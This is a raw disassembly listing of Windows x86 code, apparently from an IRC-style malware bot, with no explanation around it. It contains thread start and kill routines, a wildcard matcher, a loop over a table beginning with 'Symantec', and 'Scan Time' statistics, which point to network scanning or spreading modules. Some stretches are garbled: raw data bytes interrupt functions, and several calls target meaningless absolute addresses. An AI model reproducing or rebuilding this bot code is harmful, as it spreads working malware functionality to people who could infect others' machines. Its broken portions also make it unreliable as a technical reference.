dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h, 0C68124C4h
dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp
; sub_40B583+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B57D
cmp esi, 400h
jge short loc_40B57D
imul esi, 234h
push edi
push ebx
push dword_43E924[esi]
lea edi, dword_43E924[esi]
nop
call near ptr 26908E5h
cmp [edi], ebx
jz short loc_40B52D
push 1
pop ebp
loc_40B52D: ; CODE XREF: sub_40B4F5+33j
mov [edi], ebx
lea edi, dword_43E918[esi]
mov dword_43E910[esi], ebx
mov dword_43E914[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B54E
push eax
call sub_419F16
pop ecx
loc_40B54E: ; CODE XREF: sub_40B4F5+50j
mov [edi], ebx
lea edi, dword_43E91C[esi]
mov byte ptr dword_43E710[esi], bl
mov byte_43E928[esi], bl
push dword ptr [edi]
call dword_4CBA6C
lea esi, dword_43E920[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CBA6C
mov [esi], ebx
pop edi
loc_40B57D: ; CODE XREF: sub_40B4F5+Dj
; sub_40B4F5+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B4F5 endp
; =============== S U B R O U T I N E =======================================
sub_40B583 proc near ; CODE XREF: sub_40111D+18p
; ___:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E710
loc_40B58F: ; CODE XREF: sub_40B583+2Aj
cmp byte ptr [esi], 0
jz short loc_40B5A0
push edi
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5A0
inc ebx
loc_40B5A0: ; CODE XREF: sub_40B583+Fj
; sub_40B583+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB710
jl short loc_40B58F
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B583 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p
; sub_401ACD+4302p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E914
loc_40B5C9: ; CODE XREF: sub_40B5B5+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B5EB
test edi, edi
jle short loc_40B5DD
cmp [esi], edi
jz short loc_40B5DD
cmp ebx, edi
jnz short loc_40B5EB
loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej
; sub_40B5B5+22j
push ebx
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5EB
inc [ebp+var_4]
loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj
; sub_40B5B5+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB914
jl short loc_40B5C9
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B5B5 endp
; =============== S U B R O U T I N E =======================================
sub_40B602 proc near ; CODE XREF: ___:00401630p
; sub_401ACD+95Ep ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E910
loc_40B609: ; CODE XREF: sub_40B602+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B612
inc eax
loc_40B612: ; CODE XREF: sub_40B602+Dj
add ecx, 234h
cmp ecx, offset dword_4CB910
jl short loc_40B609
retn
sub_40B602 endp
; =============== S U B R O U T I N E =======================================
sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E910
loc_40B62B: ; CODE XREF: sub_40B621+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B644
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB910
jl short loc_40B62B
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B644: ; CODE XREF: sub_40B621+10j
mov eax, edx
pop esi
retn
sub_40B621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp
; sub_401ACD+125Bp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B661
push [ebp+arg_1C]
call sub_41C159
pop ecx
loc_40B661: ; CODE XREF: sub_40B648+Ej
push eax
push [ebp+arg_18]
call sub_40B5B5
pop ecx
test eax, eax
pop ecx
jle short loc_40B68D
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41C266
add esp, 14h
jmp short loc_40B6A7
; ---------------------------------------------------------------------------
loc_40B68D: ; CODE XREF: sub_40B648+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41C266
add esp, 10h
loc_40B6A7: ; CODE XREF: sub_40B648+43j
cmp [ebp+arg_C], 0
jnz short loc_40B6C7
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40B6C7: ; CODE XREF: sub_40B648+63j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
leave
retn
sub_40B648 endp
; =============== S U B R O U T I N E =======================================
sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p
; ___:0040BD0Bp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E924[eax], ecx
mov dword_43E910[eax], ecx
mov dword_43E914[eax], ecx
mov dword_43E918[eax], ecx
mov dword_43E91C[eax], ecx
mov dword_43E920[eax], ecx
mov byte ptr dword_43E710[eax], cl
mov byte_43E928[eax], cl
retn
sub_40B6D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp
; sub_40B841+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B71D: ; CODE XREF: sub_40B713+68j
mov cl, [esi]
test cl, cl
jz short loc_40B77D
cmp eax, 1
jnz short loc_40B77D
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B77D
cmp cl, 2Ah
jz short loc_40B764
cmp cl, 3Fh
jz short loc_40B747
cmp cl, 5Bh
jz short loc_40B74C
xor eax, eax
cmp cl, dl
setz al
loc_40B747: ; CODE XREF: sub_40B713+26j
inc [ebp+arg_4]
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B74C: ; CODE XREF: sub_40B713+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B7A9
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B764: ; CODE XREF: sub_40B713+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B841
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B777: ; CODE XREF: sub_40B713+37j
; sub_40B713+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B71D
; ---------------------------------------------------------------------------
loc_40B77D: ; CODE XREF: sub_40B713+Ej
; sub_40B713+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B78D
cmp eax, 1
jnz short loc_40B7A4
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B77D
; ---------------------------------------------------------------------------
loc_40B78D: ; CODE XREF: sub_40B713+6Dj
cmp eax, 1
jnz short loc_40B7A4
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B7A4
cmp byte ptr [esi], 0
jnz short loc_40B7A4
push 1
pop eax
jmp short loc_40B7A6
; ---------------------------------------------------------------------------
loc_40B7A4: ; CODE XREF: sub_40B713+72j
; sub_40B713+7Dj ...
xor eax, eax
loc_40B7A6: ; CODE XREF: sub_40B713+8Fj
pop esi
pop ebp
retn
sub_40B713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B7CA
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B7CA: ; CODE XREF: sub_40B7A9+19j
push ebx
push esi
loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B7DA
cmp [ebp+var_4], eax
jnz short loc_40B826
loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj
test edi, edi
jnz short loc_40B81B
cmp bl, 2Dh
jnz short loc_40B80F
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B80F
cmp al, 5Dh
jz short loc_40B80F
cmp [ebp+var_4], edi
jnz short loc_40B80F
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B81B
cmp bl, al
jg short loc_40B81B
push 1
mov [edx], esi
pop edi
jmp short loc_40B81B
; ---------------------------------------------------------------------------
loc_40B80F: ; CODE XREF: sub_40B7A9+38j
; sub_40B7A9+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B81B
push 1
pop edi
loc_40B81B: ; CODE XREF: sub_40B7A9+33j
; sub_40B7A9+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B7CC
; ---------------------------------------------------------------------------
loc_40B826: ; CODE XREF: sub_40B7A9+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B833
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B833: ; CODE XREF: sub_40B7A9+82j
cmp edi, eax
jnz short loc_40B83C
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B7A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B841 proc near ; CODE XREF: sub_40B713+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B85D: ; CODE XREF: sub_40B841+3Aj
cmp [eax], bl
jz short loc_40B87D
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B872
cmp cl, 2Ah
jnz short loc_40B87D
cmp cl, 3Fh
jnz short loc_40B875
loc_40B872: ; CODE XREF: sub_40B841+25j
inc eax
mov [edi], eax
loc_40B875: ; CODE XREF: sub_40B841+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B85D
; ---------------------------------------------------------------------------
loc_40B87D: ; CODE XREF: sub_40B841+1Ej
; sub_40B841+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B888
inc dword ptr [esi]
jmp short loc_40B87D
; ---------------------------------------------------------------------------
loc_40B888: ; CODE XREF: sub_40B841+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B8A9
mov edx, [esi]
cmp [edx], bl
jz short loc_40B89A
xor eax, eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B89A: ; CODE XREF: sub_40B841+53j
cmp cl, bl
jnz short loc_40B8A9
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B8A9
push 1
pop eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B8A9: ; CODE XREF: sub_40B841+4Dj
; sub_40B841+5Bj ...
push eax
push dword ptr [esi]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_40B8F3
loc_40B8B7: ; CODE XREF: sub_40B841+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B8BB: ; CODE XREF: sub_40B841+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B8D3
cmp cl, 5Bh
jz short loc_40B8D3
cmp dl, bl
jz short loc_40B8D3
inc eax
mov [edi], eax
jmp short loc_40B8BB
; ---------------------------------------------------------------------------
loc_40B8D3: ; CODE XREF: sub_40B841+82j
; sub_40B841+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B8EA
push eax
push dword ptr [esi]
call sub_40B713
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B8EF
; ---------------------------------------------------------------------------
loc_40B8EA: ; CODE XREF: sub_40B841+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B8EF: ; CODE XREF: sub_40B841+A7j
cmp eax, ebx
jnz short loc_40B8B7
loc_40B8F3: ; CODE XREF: sub_40B841+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B906
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B906
mov [ebp+var_4], 1
loc_40B906: ; CODE XREF: sub_40B841+B6j
; sub_40B841+BCj
mov eax, [ebp+var_4]
loc_40B909: ; CODE XREF: sub_40B841+57j
; sub_40B841+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B841 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_431B94
push eax
xor ebx, ebx
call sub_41C266
cmp dword_4317F8, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B980
push esi
mov esi, offset dword_431800
loc_40B941: ; CODE XREF: sub_40B90E+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B976
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431B88
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
add esp, 1Ch
loc_40B976: ; CODE XREF: sub_40B90E+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B941
pop esi
loc_40B980: ; CODE XREF: sub_40B90E+2Bj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B90E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE4E0
mov ecx, dword_4CE4DC
push esi
push dword_4CB714
lea esi, [ecx+eax]
call sub_41ADD8
pop ecx
push eax
push esi
push dword_4CE4E0
lea eax, [ebp+var_200]
push dword_4CE4DC
push offset unk_431BB4
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 30h
pop esi
leave
retn
sub_40B9DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CE718
push offset unk_431BFC
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 28h
leave
retn
sub_40BA49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push edi
lea eax, [ebp+var_800]
push offset dword_431C48
push eax
call sub_41C266
cmp dword_4317F8, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40BB0A
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40BAD3: ; CODE XREF: sub_40BA9E+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431C38
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40BAD3
pop esi
loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_800]
push eax
call sub_415D38
add esp, 30h
pop edi
leave
retn
sub_40BA9E endp
; ---------------------------------------------------------------------------
byte_40BB65 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
sub esp, 3F0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp-134h]
push eax
call dword_4CBA14
xor edi, edi
mov [ebp-8], eax
cmp dword_4317F8, edi
mov [ebp-4], edi
mov [ebp+8], edi
jz loc_40BCC7
mov ebx, offset dword_4317F8
mov eax, ebx
loc_40BBB6: ; CODE XREF: ___:0040BCC1j
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40C34B
add esp, 0Ch
cmp eax, 1
jnz loc_40BCB7
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_431C98
push eax
call sub_41C266
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409869
lea eax, [ebp-3F0h]
push eax
call sub_415D38
add esp, 2Ch
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41C266
pop ecx
lea eax, [ebp-15Ch]
pop ecx
push esi
push eax
call sub_41C266
cmp byte ptr [ebp-0A4h], 0
pop ecx
pop ecx
lea eax, [ebp-0A4h]
jnz short loc_40BC52
lea eax, [ebp-124h]
loc_40BC52: ; CODE XREF: ___:0040BC4Aj
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41C266
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40BCB7: ; CODE XREF: ___:0040BBC9j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40BBB6
loc_40BCC7: ; CODE XREF: ___:0040BBA9j
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_431C64
push eax
call sub_41C266
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409869
lea eax, [ebp-3F0h]
push eax
call sub_415D38
push dword ptr [ebp-18h]
call sub_40B6D6
add esp, 2Ch
push edi
; ---------------------------------------------------------------------------
dd 2D42E7E8h
db 2, 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B602
test eax, eax
pop ecx
jle short loc_40BD56
mov eax, [ebp+arg_C]
push dword_4CBB20[eax*8]
call dword_4CBA60
push eax
lea eax, [ebp+var_200]
push offset unk_431CE8
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40BD69
; ---------------------------------------------------------------------------
loc_40BD56: ; CODE XREF: sub_40BD1A+13j
lea eax, [ebp+var_200]
push offset unk_431CC8
push eax
call sub_41C266
pop ecx
pop ecx
loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 18h
leave
retn
sub_40BD1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD91 proc near ; CODE XREF: sub_40C3E8+267p
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C263
shl eax, 6
xor ebx, ebx
cmp dword_431804[eax], ebx
jz loc_40C263
push 5
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C018
mov eax, dword_429078
push edi
mov esi, offset dword_4CDBDC
push 104h
push esi
push ebx
mov dword_4CDDEC, eax
mov dword_4CDDE8, ebx
nop
call near ptr 2670000h
mov edi, offset byte_429108
push 103h
push edi
push offset dword_4CDCE0
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDBD8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CDE70, eax
jnz short loc_40BE44
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDDF0
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE74, 1
jmp short loc_40BE5E
; ---------------------------------------------------------------------------
loc_40BE44: ; CODE XREF: sub_40BD91+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDDF0
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE74, ebx
loc_40BE5E: ; CODE XREF: sub_40BD91+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CDDEC
push offset unk_42C204
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CDDE4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDBD8
push offset byte_412197
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, dword_4CDDE4
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BECC
loc_40BEBA: ; CODE XREF: sub_40BD91+139j
cmp dword_4CDE78, ebx
jnz short loc_40BEE7
push 32h
nop
call near ptr 2670E97h
jmp short loc_40BEBA
; ---------------------------------------------------------------------------
loc_40BECC: ; CODE XREF: sub_40BD91+127j
call near ptr 2680972h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431E08
push eax
call sub_41C266
add esp, 0Ch
loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj
lea eax, [ebp+var_204]
push eax
call sub_415D38
mov eax, dword_4CB710
mov esi, offset dword_4CDE84
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CE094, eax
mov dword_4CE090, ebx
nop
call near ptr 2670000h
push 103h
push edi
push offset dword_4CDF88
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDE80, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CE118, eax
push 7Fh
jnz short loc_40BF68
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE098
call sub_41BFD0
add esp, 0Ch
mov dword_4CE11C, 1
jmp short loc_40BF82
; ---------------------------------------------------------------------------
loc_40BF68: ; CODE XREF: sub_40BD91+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CE098
call sub_41BFD0
add esp, 0Ch
mov dword_4CE11C, ebx
loc_40BF82: ; CODE XREF: sub_40BD91+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CE094
push offset unk_431DD4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CE08C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDE80
push offset word_40F3AA
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, dword_4CE08C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BFF0
loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj
cmp dword_4CE120, ebx
jnz short loc_40C00B
push 32h
nop
call near ptr 2670E97h
jmp short loc_40BFDE
; ---------------------------------------------------------------------------
loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj
nop
call near ptr 2680972h
push eax
lea eax, [ebp+var_204]
push offset unk_431DA0
push eax
call sub_41C266
add esp, 0Ch
loc_40C00B: ; CODE XREF: sub_40BD91+253j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C018: ; CODE XREF: sub_40BD91+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43180C[ecx], ebx
jz loc_40C141
push 7
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C13B
mov eax, dword_4CE710
cmp [ebp+arg_90], bl
mov dword_4CDB44, eax
mov eax, [ebp+arg_110]
mov dword_4CDB38, eax
mov eax, [ebp+arg_138]
mov dword_4CDB40, ebx
mov dword_4CDBC8, eax
push 7Fh
jnz short loc_40C08C
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDB48
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBCC, 1
jmp short loc_40C0A6
; ---------------------------------------------------------------------------
loc_40C08C: ; CODE XREF: sub_40BD91+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDB48
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBCC, ebx
loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j
push dword_4CDB44
lea eax, [ebp+var_204]
push offset unk_431D70
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B3BA
add esp, 18h
mov dword_4CDB3C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDB38
push offset dword_40F108
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, dword_4CDB3C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C113
loc_40C101: ; CODE XREF: sub_40BD91+380j
cmp dword_4CDBD0, ebx
jnz short loc_40C12E
push 32h
nop
